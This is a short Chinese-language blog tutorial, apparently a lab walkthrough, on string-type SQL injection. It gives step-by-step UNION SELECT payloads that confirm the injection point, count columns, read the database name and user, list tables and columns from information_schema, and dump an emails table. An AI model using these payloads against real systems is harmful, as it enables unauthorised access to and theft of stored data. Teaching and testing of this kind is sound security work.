SQL注入-字符型注入

2020-05-25  本文已影响0人  夜尽雪舞

特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他

第一步:确认注入点类型

参数中输入' --+页面无报错提示,推测存在SQL注入注入类型为字符型

图-1

第二步:判断SQL语句中查询字段数,拼接2' order by 4 --+ 确认SQL钟查询字段数

图-2

第三步:判断SQL语句中查询字段数展示顺序,拼接 2' and 0=1 union select 1,2,3 --+

图-3

第四步:查询当前表名和用户名,id=2' and 0=1 union select 1,database(),user() --+,可见代码中直接连接了root用户

图-4

第五步:查询所有表名

id= 2 ' and 0=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

图-5

第六步:查询表中列表

id= 2 ' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'emails' --+

图-7

第七步:查询想要的数据

2 ' and 0=1 union select 1,2,group_concat(concat_ws('-',id,email_id)) from `emails` --+

图-8
上一篇 下一篇

猜你喜欢

热点阅读